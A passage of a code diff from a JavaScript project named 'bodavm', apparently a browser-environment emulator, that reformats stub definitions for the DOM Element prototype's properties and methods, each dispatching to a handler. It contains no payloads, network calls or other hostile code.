ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_get", arguments)}, set:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPlaceholder", {configurable:true, enumerable:true, get:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_get", arguments)}, set:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPosInSet", {configurable:true, enumerable:true, get:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_get", arguments)}, set:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPressed", {configurable:true, enumerable:true, get:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_get", arguments)}, set:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaReadOnly", {configurable:true, enumerable:true, get:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_get", arguments)}, set:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRelevant", {configurable:true, enumerable:true, get:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_get", arguments)}, set:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRequired", {configurable:true, enumerable:true, get:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_get", arguments)}, set:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRoleDescription", {configurable:true, enumerable:true, get:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_get", arguments)}, set:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowCount", {configurable:true, enumerable:true, get:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_get", arguments)}, set:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowIndex", {configurable:true, enumerable:true, get:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_get", arguments)}, set:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowSpan", {configurable:true, enumerable:true, get:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_get", arguments)}, set:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSelected", {configurable:true, enumerable:true, get:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_get", arguments)}, set:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSetSize", {configurable:true, enumerable:true, get:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_get", arguments)}, set:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSort", {configurable:true, enumerable:true, get:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_get", arguments)}, set:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueMax", {configurable:true, enumerable:true, get:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_get", arguments)}, set:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueMin", {configurable:true, enumerable:true, get:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_get", arguments)}, set:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueNow", {configurable:true, enumerable:true, get:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_get", arguments)}, set:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueText", {configurable:true, enumerable:true, get:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_get", arguments)}, set:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "children_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "firstElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "lastElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "childElementCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "animate", {configurable:true, enumerable:true, writable:true, value:function animate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "animate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "append", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "attachShadow", {configurable:true, enumerable:true, writable:true, value:function attachShadow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attachShadow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "closest", {configurable:true, enumerable:true, writable:true, value:function closest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "closest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "computedStyleMap", {configurable:true, enumerable:true, writable:true, value:function computedStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "computedStyleMap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttribute", {configurable:true, enumerable:true, writable:true, value:function getAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNames", {configurable:true, enumerable:true, writable:true, value:function getAttributeNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNames", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNode", {configurable:true, enumerable:true, writable:true, value:function getAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNodeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getBoundingClientRect", {configurable:true, enumerable:true, writable:true, value:function getBoundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getBoundingClientRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getClientRects", {configurable:true, enumerable:true, writable:true, value:function getClientRects (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getClientRects", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByClassName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagNameNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getInnerHTML", {configurable:true, enumerable:true, writable:true, value:function getInnerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getInnerHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttribute", {configurable:true, enumerable:true, writable:true, value:function hasAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttributeNS", {configurable:true, enumerable:true, writable:true, value:function hasAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttributes", {configurable:true, enumerable:true, writable:true, value:function hasAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasPointerCapture", {configurable:true, enumerable:true, writable:true, value:function hasPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasPointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentElement", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentHTML", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentText", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "matches", {configurable:true, enumerable:true, writable:true, value:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "matches", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prepend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelectorAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "releasePointerCapture", {configurable:true, enumerable:true, writable:true, value:function releasePointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "releasePointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttribute", {configurable:true, enumerable:true, writable:true, value:function removeAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttributeNS", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttributeNode", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceChildren", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceWith", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "requestFullscreen", {configurable:true, enumerable:true, writable:true, value:function requestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "requestPointerLock", {configurable:true, enumerable:true, writable:true, value:function requestPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestPointerLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scroll", {configurable:true, enumerable:true, writable:true, value:function scroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scroll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollBy", {configurable:true, enumerable:true, writable:true, value:function scrollBy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollBy", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollIntoView", {configurable:true, enumerable:true, writable:true, value:function scrollIntoView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoView", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollIntoViewIfNeeded", {configurable:true, enumerable:true, writable:true, value:function scrollIntoViewIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoViewIfNeeded", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollTo", {configurable:true, enumerable:true, writable:true, value:function scrollTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttribute", {configurable:true, enumerable:true, writable:true, value:function setAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNode", {configurable:true, enumerable:true, writable:true, value:function setAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNodeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setPointerCapture", {configurable:true, enumerable:true, writable:true, value:function setPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setPointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "toggleAttribute", {configurable:true, enumerable:true, writable:true, value:function toggleAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "toggleAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitMatchesSelector", {configurable:true, enumerable:true, writable:true, value:function webkitMatchesSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitMatchesSelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "checkVisibility", {configurable:true, enumerable:true, writable:true, value:function checkVisibility (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "checkVisibility", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setHTML", {configurable:true, enumerable:true, writable:true, value:function setHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setHTML", arguments)}},'prototype'); +// Element对象 + +bodavm.memory.globalobj['Element'] = function Element() { + console.log_copy('Element 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Element)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Element'], "Element"); +bodavm.memory.globalobj['Element'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['Element'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('Element', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "localName", { + configurable: true, + enumerable: true, + get: function localName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "localName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "tagName", { + configurable: true, + enumerable: true, + get: function tagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "tagName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "className", { + configurable: true, + enumerable: true, + get: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_get", arguments); + }, + set: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "classList", { + configurable: true, + enumerable: true, + get: function classList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_get", arguments); + }, + set: function classList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "slot", { + configurable: true, + enumerable: true, + get: function slot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_get", arguments); + }, + set: function slot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "attributes", { + configurable: true, + enumerable: true, + get: function attributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "shadowRoot", { + configurable: true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "part", { + configurable: true, + enumerable: true, + get: function part() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_get", arguments); + }, + set: function part() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "assignedSlot", { + configurable: true, + enumerable: true, + get: function assignedSlot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "assignedSlot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "innerHTML", { + configurable: true, + enumerable: true, + get: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_get", arguments); + }, + set: function innerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "outerHTML", { + configurable: true, + enumerable: true, + get: function outerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_get", arguments); + }, + set: function outerHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTop", { + configurable: true, + enumerable: true, + get: function scrollTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_get", arguments); + }, + set: function scrollTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollLeft", { + configurable: true, + enumerable: true, + get: function scrollLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_get", arguments); + }, + set: function scrollLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollWidth", { + configurable: true, + enumerable: true, + get: function scrollWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollHeight", { + configurable: true, + enumerable: true, + get: function scrollHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientTop", { + configurable: true, + enumerable: true, + get: function clientTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientLeft", { + configurable: true, + enumerable: true, + get: function clientLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientWidth", { + configurable: true, + enumerable: true, + get: function clientWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "clientHeight", { + configurable: true, + enumerable: true, + get: function clientHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientHeight_get", arguments); + }, + set: undefined +}, 